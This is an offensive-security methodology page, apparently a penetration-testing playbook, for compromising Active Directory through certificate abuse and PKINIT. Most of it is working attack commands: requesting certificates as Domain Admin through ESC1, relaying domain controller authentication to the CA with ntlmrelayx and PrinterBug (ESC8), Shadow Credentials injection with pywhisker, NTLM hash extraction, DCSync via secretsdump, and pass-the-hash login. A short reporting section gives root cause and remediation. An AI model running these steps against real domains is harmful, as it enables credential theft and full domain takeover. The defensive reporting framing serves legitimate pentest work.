🛡️ Methodology Checklist
- Identify ADCS CA:
certutil -config - -ping - Enumerate templates:
certipy find -u [USER] -p [PASS] -dc-ip [DC_IP] -vulnerable - Identify ESC1 (SAN in template) or other ESC misconfigurations
- Request cert with alt SAN:
certipy req -u [USER] -p [PASS] -ca [CA] -template [TEMPLATE] -upn [TARGET_USER]@[DOMAIN] - Authenticate with cert:
certipy auth -pfx [cert.pfx] -dc-ip [DC_IP] - Use returned NT hash for PtH or DCSync
🎯 Operational Context
Use when: AD Certificate Services (ADCS) is deployed and a certificate has been obtained for a user or computer — use PKINIT to get a TGT without knowing the password.
Think Dumber First: If ESC1 (enrollee can supply subject), request cert for DA: certipy req -u [USER]@[DOMAIN] -p [PASS] -ca [CA] -template [VULN_TEMPLATE] -upn [DA_USER]@[DOMAIN]. Then certipy auth -pfx [DA_CERT].pfx -dc-ip [DC] for TGT and NTLM hash.
Skip when: No ADCS deployed or no vulnerable certificate template available.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
impacket-ntlmrelayx -t http://[CA_IP]/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication | Relay DC auth to CA web enrollment (ESC8) |
python3 printerbug.py [DOMAIN]/[USER]:[PASS]@[DC_IP] [LHOST] | Coerce DC authentication via PrinterBug |
git clone https://github.com/dirkjanm/PKINITtools.git && pip3 install -r requirements.txt | Install PKINITtools |
python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip [DC_IP] [DOMAIN]/DC01$ /tmp/dc01.ccache | Convert .pfx certificate to Kerberos TGT |
export KRB5CCNAME=/tmp/dc01.ccache && klist | Activate and verify certificate-derived ticket |
python3 secretsdump.py -k -no-pass [DOMAIN]/DC01$@[DC_HOSTNAME] -just-dc-user Administrator | DCSync using DC machine account ticket |
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET_USER] --action add | Shadow Credentials: inject certificate into target account |
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -pfx-pass [PFX_PASS] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] /tmp/target.ccache | Get TGT using shadow credentials certificate |
python3 getnthash.py -key [AS_REP_KEY] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] | Extract NTLM hash from certificate authentication session |
evil-winrm -i [TARGET_IP] -u [TARGET_USER] -H [NTLM_HASH] | Login with extracted hash |
sudo ntpdate [DC_IP] | Fix clock skew (Kerberos clock tolerance is 5 min) |
🔬 Deep Dive & Workflow
PKINIT — Certificate-Based Kerberos Auth
PKINIT (Public Key Cryptography for Initial Authentication) allows Kerberos TGT requests using X.509 certificates instead of passwords. Normally used for smart card authentication. Attackers abuse it with stolen or forged certificates.
Attack Path 1 — AD CS ESC8 Relay (DC Compromise)
Goal: Force DC to authenticate to attacker → relay to CA → receive certificate for the DC machine account → DCSync
ntlmrelayx ← relay target (CA web enrollment)
PrinterBug → coerce DC01 to authenticate to attacker
→ ntlmrelayx receives DC01$ credentials
→ enrolls DC01$.pfx certificate from CA
# Step 1: Start relay listener
impacket-ntlmrelayx -t http://[CA_IP]/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
# Step 2: Coerce DC authentication
python3 printerbug.py [DOMAIN]/[USER]:[PASS]@[DC_IP] [LHOST]
# Step 3: Convert cert to TGT
python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip [DC_IP] [DOMAIN]/DC01$ /tmp/dc01.ccache
# Step 4: DCSync
export KRB5CCNAME=/tmp/dc01.ccache
python3 secretsdump.py -k -no-pass [DOMAIN]/DC01$@dc01.[DOMAIN] -just-dc-user AdministratorIdentity matters: DC machine account (DC01$) gives replication rights → DCSync. User certs give only user-level access.
Attack Path 2 — Shadow Credentials (Write Permission Required)
Goal: If you have AddKeyCredentialLink write permission on a target user object, inject your own certificate.
# 1. Inject certificate (save the PFX filename and password from output)
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET_USER] --action add
# 2. Get TGT as target
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -pfx-pass [PFX_PASS] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] /tmp/target.ccache
# 3. Extract NTLM from session key (look for "AS-REP encryption key" in gettgtpkinit output)
python3 getnthash.py -key [AS_REP_KEY] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER]
# 4. Use hash directly (avoids Kerberos DNS requirements)
evil-winrm -i [TARGET_IP] -u [TARGET_USER] -H [NTLM_HASH]Troubleshooting
| Error | Fix |
|---|---|
KDC_ERR_WRONG_REALM | Check domain spelling — .LOCAL vs .HTB |
Name or service not known | Add DC hostname to /etc/hosts |
Connection refused on port 88 | Wrong IP — port 88 is on DC, not CA |
Clock skew too great | sudo ntpdate [DC_IP] — must be within 5 min |
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| certipy not installed | Missing tool | Install: pip3 install certipy-ad; use certipy-ad command after install |
| Certificate enrollment fails | Template not allowing enrollment | Check template permissions: certipy find -u [USER]@[DOMAIN] -p [PASS] -dc-ip [DC] -vulnerable |
| PKINIT fails with KDC error | PKINIT not configured on DC | Verify: DCs must have PKINIT enabled and DC cert issued; some labs lack this |
| pfx auth returns error | Wrong DC IP or clock skew | Sync time; use primary DC IP; add -domain [DOMAIN] explicitly |
| Shadow credentials attack alternative | No vulnerable template | If GenericWrite on target: certipy shadow auto -u [USER]@[DOMAIN] -p [PASS] -account [TARGET] |
📝 Reporting Trigger
Finding Title: ADCS Vulnerable Certificate Template Enables Domain Privilege Escalation Impact: Misconfigured certificate template (ESC1-ESC8) allows requesting a certificate for any domain account including Domain Admin, enabling PKINIT authentication as that account and full domain compromise without password knowledge. Root Cause: Active Directory Certificate Services template misconfiguration allows certificate subject override or unrestricted enrollment by standard users. Recommendation: Run Certipy or PSPKIAudit against all ADCS deployments to identify vulnerable templates. Disable Manager Approval Issuance on vulnerable templates. Restrict enrollment permissions. Monitor for unusual certificate enrollment patterns via ADCS audit logs.